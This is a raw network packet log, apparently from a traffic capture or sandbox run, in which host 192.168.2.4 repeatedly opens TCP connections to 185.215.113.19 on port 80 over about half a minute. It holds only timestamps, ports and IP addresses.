Sep 1, 2024 02:49:33.212311029 CEST	80	49891	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:33.212377071 CEST	49891	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:33.212619066 CEST	49891	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:33.217504025 CEST	80	49891	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:33.954581022 CEST	80	49891	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:33.954663038 CEST	49891	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:34.078725100 CEST	49891	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:34.078984976 CEST	49892	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:34.084597111 CEST	80	49892	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:34.084844112 CEST	49892	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:34.084978104 CEST	49892	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:34.085798025 CEST	80	49891	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:34.085863113 CEST	49891	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:34.089793921 CEST	80	49892	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:34.825977087 CEST	80	49892	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:34.828603983 CEST	49892	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:34.830656052 CEST	49892	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:34.830965042 CEST	49893	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:34.836091042 CEST	80	49892	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:34.836581945 CEST	80	49893	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:34.836585999 CEST	49892	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:34.836641073 CEST	49893	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:34.836780071 CEST	49893	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:34.841629982 CEST	80	49893	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:35.616121054 CEST	80	49893	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:35.616226912 CEST	49893	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:35.738364935 CEST	49893	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:35.739120007 CEST	49894	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:35.743753910 CEST	80	49893	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:35.743804932 CEST	49893	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:35.743966103 CEST	80	49894	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:35.744025946 CEST	49894	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:35.744263887 CEST	49894	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:35.749716997 CEST	80	49894	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:36.503444910 CEST	80	49894	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:36.503549099 CEST	49894	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:36.505752087 CEST	49894	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:36.506177902 CEST	49895	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:36.510869980 CEST	80	49894	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:36.510962963 CEST	49894	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:36.511382103 CEST	80	49895	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:36.511450052 CEST	49895	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:36.511713028 CEST	49895	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:36.516530991 CEST	80	49895	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:37.258641005 CEST	80	49895	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:37.258690119 CEST	49895	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:37.374891996 CEST	49895	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:37.375214100 CEST	49896	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:37.380532026 CEST	80	49896	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:37.380590916 CEST	49896	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:37.380776882 CEST	49896	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:37.385657072 CEST	80	49895	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:37.385751009 CEST	49895	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:37.386054993 CEST	80	49896	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:38.122487068 CEST	80	49896	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:38.122584105 CEST	49896	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:38.125442028 CEST	49896	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:38.125746965 CEST	49897	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:38.130795956 CEST	80	49896	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:38.130852938 CEST	49896	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:38.131102085 CEST	80	49897	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:38.131303072 CEST	49897	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:38.131517887 CEST	49897	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:38.136554003 CEST	80	49897	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:38.892467976 CEST	80	49897	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:38.892560959 CEST	49897	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:38.998392105 CEST	49897	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:38.998660088 CEST	49898	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:39.003639936 CEST	80	49897	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:39.003850937 CEST	80	49898	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:39.003912926 CEST	49897	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:39.003952026 CEST	49898	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:39.004044056 CEST	49898	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:39.009111881 CEST	80	49898	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:39.744929075 CEST	80	49898	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:39.746675968 CEST	49898	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:39.752585888 CEST	49898	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:39.752830982 CEST	49899	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:39.757643938 CEST	80	49899	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:39.757730007 CEST	80	49898	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:39.757802963 CEST	49898	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:39.757805109 CEST	49899	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:39.763413906 CEST	49899	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:39.768321991 CEST	80	49899	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:40.508655071 CEST	80	49899	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:40.508888960 CEST	49899	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:40.623769045 CEST	49899	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:40.624087095 CEST	49900	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:40.628870964 CEST	80	49900	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:40.629026890 CEST	80	49899	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:40.629090071 CEST	49899	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:40.629177094 CEST	49900	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:40.629426003 CEST	49900	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:40.634378910 CEST	80	49900	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:41.370397091 CEST	80	49900	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:41.370600939 CEST	49900	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:41.377834082 CEST	49900	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:41.379075050 CEST	49901	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:41.384108067 CEST	80	49901	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:41.384319067 CEST	49901	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:41.385446072 CEST	49901	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:41.386677027 CEST	80	49900	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:41.386790991 CEST	49900	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:41.390431881 CEST	80	49901	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:42.141231060 CEST	80	49901	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:42.141283989 CEST	49901	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:42.249278069 CEST	49901	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:42.249562025 CEST	49902	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:42.254350901 CEST	80	49901	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:42.254774094 CEST	80	49902	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:42.254827976 CEST	49901	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:42.254859924 CEST	49902	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:42.254975080 CEST	49902	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:42.263792992 CEST	80	49902	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:43.013130903 CEST	80	49902	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:43.013216972 CEST	49902	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:43.015418053 CEST	49902	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:43.015723944 CEST	49903	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:43.021164894 CEST	80	49902	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:43.021262884 CEST	49902	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:43.021553040 CEST	80	49903	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:43.021644115 CEST	49903	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:43.021887064 CEST	49903	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:43.026911974 CEST	80	49903	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:43.766899109 CEST	80	49903	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:43.766947031 CEST	49903	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:43.880383968 CEST	49903	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:43.880810976 CEST	49904	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:43.885545015 CEST	80	49903	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:43.886152983 CEST	80	49904	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:43.886214972 CEST	49903	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:43.886255026 CEST	49904	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:43.886481047 CEST	49904	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:43.891571999 CEST	80	49904	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:44.627206087 CEST	80	49904	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:44.628499031 CEST	49904	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:44.630692959 CEST	49904	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:44.630965948 CEST	49905	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:44.635735989 CEST	80	49904	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:44.636027098 CEST	80	49905	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:44.636080980 CEST	49904	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:44.636116982 CEST	49905	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:44.636224031 CEST	49905	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:44.641216040 CEST	80	49905	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:45.396131992 CEST	80	49905	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:45.396415949 CEST	49905	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:45.500734091 CEST	49905	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:45.501034975 CEST	49906	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:45.505809069 CEST	80	49906	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:45.505884886 CEST	49906	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:45.506026030 CEST	49906	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:45.506264925 CEST	80	49905	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:45.506323099 CEST	49905	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:45.511059046 CEST	80	49906	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:46.264879942 CEST	80	49906	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:46.267693043 CEST	49906	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:46.323173046 CEST	49906	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:46.323528051 CEST	49907	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:46.328493118 CEST	80	49907	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:46.328584909 CEST	49907	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:46.328624964 CEST	80	49906	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:46.328670979 CEST	49906	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:46.328843117 CEST	49907	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:46.333899021 CEST	80	49907	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:47.099875927 CEST	80	49907	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:47.099946022 CEST	49907	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:47.216674089 CEST	49907	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:47.216942072 CEST	49908	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:47.221760988 CEST	80	49907	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:47.222091913 CEST	80	49908	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:47.223609924 CEST	49907	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:47.223629951 CEST	49908	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:47.223777056 CEST	49908	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:47.228734016 CEST	80	49908	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:47.990206003 CEST	80	49908	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:47.990359068 CEST	49908	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:47.996225119 CEST	49908	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:47.996759892 CEST	49909	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:48.002126932 CEST	80	49908	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:48.002137899 CEST	80	49909	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:48.002182007 CEST	49908	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:48.002229929 CEST	49909	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:48.002496004 CEST	49909	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:48.007556915 CEST	80	49909	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:48.753906965 CEST	80	49909	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:48.754059076 CEST	49909	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:48.858092070 CEST	49909	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:48.858330011 CEST	49910	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:48.863395929 CEST	80	49909	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:48.863457918 CEST	49909	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:48.863804102 CEST	80	49910	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:48.864094019 CEST	49910	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:48.864697933 CEST	49910	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:48.869437933 CEST	80	49910	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:50.635875940 CEST	80	49910	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:50.635925055 CEST	49910	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:50.635942936 CEST	80	49910	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:50.635982990 CEST	49910	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:50.636221886 CEST	80	49910	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:50.636230946 CEST	80	49910	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:50.636257887 CEST	49910	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:50.636281967 CEST	49910	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:50.639930010 CEST	49910	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:50.640260935 CEST	49911	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:50.644917965 CEST	80	49910	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:50.645019054 CEST	49910	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:50.645411968 CEST	80	49911	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:50.645476103 CEST	49911	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:50.645776987 CEST	49911	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:50.650588036 CEST	80	49911	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:51.338388920 CEST	49831	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:51.338406086 CEST	443	49831	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:51.395468950 CEST	49830	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:51.395497084 CEST	443	49830	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:51.398015022 CEST	80	49911	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:51.398098946 CEST	49911	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:51.515388966 CEST	49911	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:51.515388966 CEST	49912	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:51.520566940 CEST	80	49912	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:51.520663977 CEST	49912	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:51.520699024 CEST	80	49911	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:51.520773888 CEST	49911	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:51.520906925 CEST	49912	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:51.525846004 CEST	80	49912	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:52.261363029 CEST	80	49912	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:52.263720036 CEST	49912	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:52.415976048 CEST	49912	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:52.416302919 CEST	49913	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:52.421245098 CEST	80	49912	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:52.421293020 CEST	49912	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:52.421505928 CEST	80	49913	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:52.421575069 CEST	49913	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:52.428297997 CEST	49913	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:52.433235884 CEST	80	49913	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:53.197730064 CEST	80	49913	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:53.197941065 CEST	49913	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:53.309721947 CEST	49913	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:53.310189009 CEST	49914	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:53.316478968 CEST	80	49914	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:53.316576958 CEST	49914	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:53.316677094 CEST	49914	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:53.322082996 CEST	80	49914	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:53.323271990 CEST	80	49913	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:53.323342085 CEST	49913	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:54.068727970 CEST	80	49914	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:54.068775892 CEST	49914	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:54.071919918 CEST	49914	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:54.072244883 CEST	49915	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:54.076967955 CEST	80	49914	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:54.077029943 CEST	49914	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:54.077198982 CEST	80	49915	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:54.077256918 CEST	49915	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:54.077506065 CEST	49915	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:54.082657099 CEST	80	49915	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:54.635850906 CEST	49792	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:49:54.635883093 CEST	443	49792	142.250.80.110	192.168.2.4
Sep 1, 2024 02:49:54.825890064 CEST	49793	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:49:54.825910091 CEST	443	49793	142.250.80.110	192.168.2.4
Sep 1, 2024 02:49:54.869539976 CEST	80	49915	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:54.869694948 CEST	49915	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:54.982043028 CEST	49915	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:54.982064009 CEST	49916	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:54.987062931 CEST	80	49916	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:54.987343073 CEST	80	49915	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:54.987421989 CEST	49915	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:54.987447977 CEST	49916	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:54.987615108 CEST	49916	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:54.992559910 CEST	80	49916	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:55.735167980 CEST	80	49916	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:55.735306978 CEST	49916	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:55.738130093 CEST	49916	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:55.738133907 CEST	49917	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:55.746313095 CEST	80	49916	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:55.746398926 CEST	49916	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:55.746470928 CEST	80	49917	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:55.746676922 CEST	49917	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:55.749136925 CEST	49917	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:55.760127068 CEST	80	49917	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:56.514543056 CEST	80	49917	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:56.514597893 CEST	49917	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:56.626286983 CEST	49917	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:56.626676083 CEST	49918	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:56.631356955 CEST	80	49917	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:56.631402969 CEST	49917	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:56.631535053 CEST	80	49918	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:56.631597996 CEST	49918	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:56.631812096 CEST	49918	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:56.636626959 CEST	80	49918	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:56.638983965 CEST	49918	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:56.642266035 CEST	49919	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:56.647124052 CEST	80	49919	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:56.647182941 CEST	49919	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:56.647298098 CEST	49919	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:56.652265072 CEST	80	49919	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:57.387290955 CEST	80	49919	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:57.387496948 CEST	49919	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:57.498250961 CEST	49919	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:57.498661995 CEST	49920	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:57.503407001 CEST	80	49919	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:57.503634930 CEST	49919	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:57.503781080 CEST	80	49920	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:57.506836891 CEST	49920	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:57.507304907 CEST	49920	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:57.513246059 CEST	80	49920	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:58.257428885 CEST	80	49920	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:58.257493973 CEST	49920	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:58.280774117 CEST	49920	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:58.281162024 CEST	49921	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:58.286349058 CEST	80	49920	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:58.286420107 CEST	49920	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:58.288722992 CEST	80	49921	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:58.288877964 CEST	49921	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:58.289053917 CEST	49921	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:58.293869019 CEST	80	49921	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:59.047444105 CEST	80	49921	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:59.047539949 CEST	49921	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:59.246710062 CEST	49921	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:59.249378920 CEST	49922	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:59.252810955 CEST	80	49921	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:59.255686998 CEST	49921	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:59.255841017 CEST	80	49922	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:59.255955935 CEST	49922	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:59.302647114 CEST	49922	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:59.307622910 CEST	80	49922	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:59.995282888 CEST	80	49922	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:59.996634960 CEST	49922	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:59.999018908 CEST	49922	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:59.999289989 CEST	49923	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:00.004020929 CEST	80	49922	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:00.004350901 CEST	80	49923	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:00.004410028 CEST	49922	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:00.004439116 CEST	49923	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:00.004648924 CEST	49923	80	192.168.2.4	185.215.113.19
